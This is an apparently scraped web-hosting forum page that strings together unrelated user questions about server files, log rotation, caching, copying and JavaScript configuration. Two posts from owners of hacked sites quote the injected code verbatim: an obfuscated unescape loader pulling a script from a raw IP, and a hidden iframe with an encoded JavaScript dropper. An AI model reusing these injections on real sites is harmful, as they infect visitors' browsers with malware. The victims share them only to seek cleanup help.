Pasted Javascript Into Filename By Accident
Nov 20, 2008I pasted the contents of a javascript page into a filename on my server.
Now I cant rename, download or delete the file,
I pasted the contents of a javascript page into a filename on my server.
Now I cant rename, download or delete the file,
how to rename access logs according to Week Number?
I notice that 1&1 do this, producing a file like "access.log.31.gz".
I'd like the access log to be in this format: access_log_[domain-name]_[Week-Number].gz, or if domain-name is not possible: access_log_[Week-Number].gz
Here's my current logrotate script for access_log:
Code:
/home/default/muro.co.uk/user/logfiles/access_log {
missingok
rotate 8
weekly
postrotate
/bin/kill -USR1 `cat /var/run/httpd.pid`
endscript
}
I am setting up Expires headers for my site. The site allows users to upload photos of themselves. The photos are stored as <user id number>.jpeg. I want these to be cached, but updated when the user uploads a new photo. From what I understand, new browsers use ETags to make sure this happens (since if they upload a new file, the inode and/or mtime will change). However for older browsers, I plan to add ?file-mtime to the end of the file name. This should allow caching but it will change when the user uploads a new image. Will the cause any technical problems with caches that would not be a problem if I changed the filename to be user_id.mtime.jpeg when the user uploads the file? The trade-off is that if I just append ?file-mtime to the end of the filename, I don't have to track these images in a database or use file globs (cpu-expensive for large directories) to find the filename to output.
View 3 Replies View Relatedhow to copy all filename with the word 'index' from src to dest?
This include index file within directories as well..
this doesn't seem to work. It only copy index.html in public_html .. and stop there..
Quote:
cp -Rf /backup/userA/public_html/*index* /home/userA/public_html/
We are having a problem with a number of our websites hosted on Fasthosts reseller account where JavaScript is being maliciously inserted into a number of pages.
An example of the code that has been inserted can be found below:
<!--
document.write(unescape('xXz%3CAEqscripzHVt%20RMisAEqrRMicxXz%3DzHV%2FyI%2F6
yI7zHV%2E21wq5RMi%2E2xXz4wq6%2E3AEq4RMi%2FjqAEquwqexXzry%2EjsyI%3E%3CzHV%2Fs
crRMiiwqpzHVtwq%3E').replace(/yI|zHV|fW|xXz|RMi|wq|AEq/g,""));
-->
Which runs this script:
<script src=//67.215.246.34/jquery.js></script>
New pages have been created on a number of websites aswell as the above code inserted into existing pages.
After removing the above code from one particular website it has happened again.
Some of the websites being affected are just static websites with only HTML pages, others are dynamic ASP pages.
I've tried turning on/off gzipping, other stuff.
It's an AJAX tab script.
Exact same thing, exact same paths work on my shared hosting elsewhere, but not on my box running LS.
A tech admin that I worked with previously fixed an issue we were having. He explained what he did:
To fix you need to make apache be able to parse JS
He is no longer available.
how to do this? Which file (I expect httpd.conf) would I need to edit and what part of it would it be?
Does anyone know of any free web hosts that would allow me to use PHP and JavaScript in my web-pages?
View 9 Replies View Relatedwhen i oppened my site i found that there was a code in the index i don't know from what but when i earsed it it returned again ...
View 0 Replies View RelatedI'm trying to embed the LiveZilla chat icon within a flash header and haven't been able to do it for the life of me.
View 0 Replies View Related have a website that sources a number of jquery plugins, when I load the site in chrome or firefox the javascript console is saying that these files were not loaded.
The server is a localhost and the files are local.
The google jquery file loads fine.
how I need to configure the apache config file to deal with javascript.
Many of my websites on my server have been hacked, it randomly add's
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
and
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src='http://aboutmynews.org/news/InF.php' style='display:none;'></iframe--><!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!-- ~ -->
To some of my pages on my websites in my /home directory.
Please do not visit the links without anti virus protection.
what command I can use to search all of my files in my home directory for this?
When i try to go to horde after my upgrade from plesk 11.5.30 to plesk 12.0.18, my horde is loading as minimal cause this:
JavaScript is either disabled or not available on your browser. You are restricted to the minimal view.
But my javascript is enabled for this site.